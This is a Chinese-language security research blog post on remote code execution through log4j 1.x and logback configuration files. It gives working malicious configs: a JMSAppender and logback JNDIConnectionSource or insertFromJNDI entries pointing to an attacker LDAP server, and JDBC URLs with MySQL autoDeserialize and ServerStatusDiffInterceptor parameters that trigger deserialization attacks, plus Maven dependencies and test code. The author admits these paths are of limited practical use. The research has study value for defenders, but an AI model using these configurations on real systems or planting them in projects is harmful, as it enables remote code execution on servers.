长亭百川云 - 文章详情

log4j 1.x 与 logback 的鸡肋RCE讨论

技术猫屋

56

2024-07-13

0x01 写在前面

对 log4j2 漏洞的后续研究中,发现一些有趣的东西,记录分享一下

0x02 log4j 真的在任何情况不存在 JNDI注入吗?

首先提出一个问题,log4j 真的在任何情况不存在 JNDI注入吗?

答案是否定的。

翻阅 Log4j2 的 pull request 发现一个有意思的对话:

有人提出实际上 log4j 和 log4j2 一样易受攻击的,只不过与 log4j2 相比,Log4j 的攻击向量“更安全”

因为 Log4j 的攻击入口点是其配置文件,而 log4j2 的攻击入口点是用户的输入

那么实际上如何呢?经过我简单测试,发现修改 log4j 的配置文件确实会导致漏洞的产生,但要求要比pull reques中所说的更苛刻。

案例1 -  log4j  配置文件中 JMSAppender 的 RCE

首先在 maven 中添加以下依赖:

`<dependencies>  ``     <dependency>   ``         <groupId>log4j</groupId>   ``         <artifactId>log4j</artifactId>   ``         <version>1.2.17</version>   ``     </dependency>   ``     <dependency>   ``         <groupId>org.apache.activemq</groupId>   ``         <artifactId>activemq-broker</artifactId>   ``         <version>5.16.3</version>   ``</dependency>`  `</dependencies>`

然后在resource 目录下新建 log4j.properties 文件,内容如下:

`log4j.rootLogger=INFO, stdout, jms`  `   ``log4j.logger.org.apache.activemq=INFO, stdout`  `   ``log4j.appender.stdout=org.apache.log4j.ConsoleAppender`  `log4j.appender.stdout.layout=org.apache.log4j.PatternLayout`  `log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n`  `   ``log4j.appender.jms=org.apache.log4j.net.JMSAppender`  `log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory`  `log4j.appender.jms.ProviderURL=tcp://localhost:61616`  `log4j.appender.jms.TopicBindingName=jmsTest``log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd`

最后新建 Log4jJMSAppenderTest.java 文件,内容如下:

`import org.apache.log4j.Logger;`  `import javax.naming.NamingException;`  `   ``class Log4jJMSAppenderTest {`      `public static void main(String[] args) throws NamingException {``         // 通常情况下会自动加载 Log4j 的配置文件,如果不能自动加载可以取消注释下行代码   ``  // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class);   ``         logger.error("error");   ``}`  `}`

可以看到,项目的所用到的主要依赖是 log4j 1.2.17 版本,然后为了满足条件要求(后文会说具体什么条件),又引入了最新版的 activemq 依赖。

然后如果直接运行 main 函数,可以直接触发 RCE:

原理很简单,log4j 有一个名为Appenders的功能,Appender 通常只负责将事件数据写入目标指定的区域, 比如数据库、JMS 代理等

当检测到log4j.properties配置文件中存在指定的 Appender 时,会自动进入相应的功能逻辑

如,假设配置了

log4j.appender.file=org.apache.log4j.FileAppender

那么会进入FileAppender.java 中的 activateOptions 方法

配置了

log4j.appender.stdout=org.apache.log4j.ConsoleAppender

那么会进入ConsoleAppender.java 中的activateOptions方法

上文中配置的是

log4j.appender.jms=org.apache.log4j.net.JMSAppender 

会进入JMSAppender.java中的activateOptions方法

我们可以在该方法打个断点,debug 就可以看到其调用的是 lookup 方法:

然后在 ctx.lookup(name)中传入我们指定的恶意 LDAP 服务地址,从而触发 RCE

这里虽然可以实现了 RCE,但实际上你可以发现,必须要有一个支持 jms 代理的类(org.apache.activemq.jndi.ActiveMQInitialContextFactory)才可以,否则是会报错的,如果实际业务代码或引用的包中没有 jms 代理类,就显得就十分鸡肋+苛刻了

那么可利用的仅仅是 JMSAppender 吗?

案例 2 - log4j  配置文件中 JDBC 的 RCE

在 log4j 中,除了 JMSAppender 配置项外,还有很多 Appender,JDBCAppender就是其一。

同样的,在 resources 目录下创建log4j.properties文件,内容如下:

`log4j.rootLogger=DEBUG,database`  `   ``log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender`  `#数据库地址`  `log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor`  `log4j.appender.database.driver=com.mysql.jdbc.Driver`  `log4j.appender.database.user=test`  `log4j.appender.database.password=111111`  `log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')`  `#log4j.appender.database.layout=org.apache.log4j.PatternLayout`

为了方便测试 JDBC反序列化漏洞,所以maven 中我们新增了其他依赖,具体如下:

`<dependency>  ``     <groupId>log4j</groupId>   ``     <artifactId>log4j</artifactId>   ``<version>1.2.17</version>`  `</dependency>`  `   ``<dependency>  ``     <groupId>commons-collections</groupId>   ``     <artifactId>commons-collections</artifactId>   ``<version>3.2.1</version>`  `</dependency>`  `   ``<dependency>  ``     <groupId>mysql</groupId>   ``     <artifactId>mysql-connector-java</artifactId>   ``<version>8.0.12</version>`  `</dependency>`

最后再新建 test.java 文件,内容如下:

`import org.apache.log4j.Logger;`  `   ``public class test {  ``     public static void main(String[] args) {   ``         Logger logger = Logger.getLogger(test.class);   ``         logger.error("error");   ``}`  `}`

运行main函数,直接触发 RCE:

原理和JMSAppender比较类似,同样是那么会进入JDBCAppender.java 中,只不过触发的方法是getConnection(),后续就是我们比较熟知的 JDBC 反序列漏洞流程了

这里提到的仅仅是 log4j 的1.x 版本,实际上 log4j 2.15.0 同样可以实现上述操作

在能够控制配置文件的情况下,可以不用再花心思去绕过 lookup 的白名单和各种限制,直接采用类似于上面的方式实现 RCE,比如三梦师傅之前提到的:

`<pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern>``<pattern>${payload}</pattern>`

当然,总体来看,这种修改配置文件的方式还是很鸡肋的,实际利用有限,只是适用于特殊场景,此处仅作技术性探讨

0x03 logback 的鸡肋 RCE

提到 log 日志记录,除了 log4j 外,还有就是 logbacklogbakclog4j是 同一个人写的,因此实际上我想看看 logback 中是否存在类似问题

并且由于 logback 是 springboot 的默认组件,如果同样存在类似问题,那么可能遇到这种场景的机会会加大

首先 看的是 JMSAppender,遗憾的是,在 logback 的 1.2.2版本后,就移除了 JMSTopicAppender

但幸运的是 ,在 logback 中同样存在类似于 JDBCAppender 的 Appender —— DBAppender

DBAppender 中有一个名为ConnectionSource的接口,该接口提供了一种可插拔式的方式为需要使用 java.sql.Connection 的 logback 类获取 JDBC 连接,目前有三种实现,分别为:DriverManagerConnectionSourceDataSourceConnectionSourceJNDIConnectionSource。这三种实现每一种都可以用来实现 RCE。

DriverManagerConnectionSourceDataSourceConnectionSource 比较类似,都可以通过控制 JDBC 的 URL 去实现 JDBC 反序列化攻击的目的。

首先在 resource 目录下新建 logback-spring.xml ,内容如下

`<configuration>`  `   `    `<appender name="DB" class="ch.qos.logback.classic.db.DBAppender">``         <connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource">   ``             <driverClass>com.mysql.jdbc.Driver</driverClass>   ``             <url>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</url>   ``             <user>username</user>   ``             <password>password</password>   ``         </connectionSource>   ``</appender>`  `   `    `<root level="DEBUG" >``         <appender-ref ref="DB" />   ``</root>`  `</configuration>`

然后在新建的 SpringBoot 项目的 pom.xml中新加两个依赖,如下:

`<dependency>  ``     <groupId>commons-collections</groupId>   ``     <artifactId>commons-collections</artifactId>   ``<version>3.2.1</version>`  `</dependency>`  `   ``<dependency>  ``     <groupId>mysql</groupId>   ``     <artifactId>mysql-connector-java</artifactId>   ``<version>8.0.12</version>`  `</dependency>`

然后直接运行SpringApplication.run()所在方法,即可触发漏洞:

除上述两种,还有 JNDIConnectionSource 方法,JNDIConnectionSource 是 logback 自带的方法,从名字就可以看出来,它通过 JNDI 获取 javax.sql.DataSource,然后再获取 java.sql.Connection 实例

同样的,对于我们来说,这种方式实现 RCE 更方便,完全不需要其他的依赖,测试如下:

在 resource 目录下新建 logback-spring.xml ,内容如下

`<configuration debug="true">  ``     <appender name="DB" class="ch.qos.logback.classic.db.DBAppender">   ``         <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource">   ``             <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation>   ``         </connectionSource>   ``     </appender>   ``     <root level="DEBUG">   ``         <appender-ref ref="DB"/>   ``</root>`  `</configuration>``   `

同样的,直接运行SpringApplication.run()所在方法,即可触发漏洞:

实际上跟踪一下可以发现,最终会进入到JNDIConnectionSource.javagetConnection方法,如果dataSource 为空,那么就令dataSource = lookupDataSource();

然后在lookupDataSource() 中触发 lookup:

不过这里需要注意的是,JNDIConnectionSource类是通过无参构造函数获取 javax.naming.InitialContext,这种方式在 J2EE 环境通常可以行得通,但是在 J2EE 环境之外,需要额外提供一个 jndi.properties 的配置文件才可以。

实际上除了上述方式,还有一种配置不借助 DBAppender 也可以直接实现 RCE,配置如下:

`<configuration>`      `<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />`      `<root level="DEBUG">``         <appender-ref ref="CONSOLE" />   ``</root>`  `</configuration>`

运行项目即可实现 RCE:

同样跟踪可以发现,是在InsertFromJNDIAction.javabegin方法中调用了 JNDIUtil.lookup 方法,从而触发漏洞:

当然,还有 JMX 同样可以实现RCE,原理大致相同,这里不在赘述

0x04 写在最后

上面的方式确实比较鸡肋,正如 pull request 那里写的:

如果攻击者可以修改某个系统 S 上的配置文件,那么可以假设 S 已经被很大程度地渗透了。

但还是有可行的场景的, 通过查阅资料我发现,logback配置文件中有个特色属性为 scan,只要配置文件中配置了 scan 属性,那么系统会启动一个scan task监控配置文件的变动,如果发生变化,那么就在配置文件变更时的自动加载新的配置文件,具体场景发现已经有人做了实验,可以参考:https://xz.aliyun.com/t/7351

当然,可能在绝大多数情况下这些方式都是没用的,但是,请尽情的发挥想象,思考可能的攻击场景吧

0x05 参考

https://github.com/apache/logging-log4j2/pull/608
https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq
https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2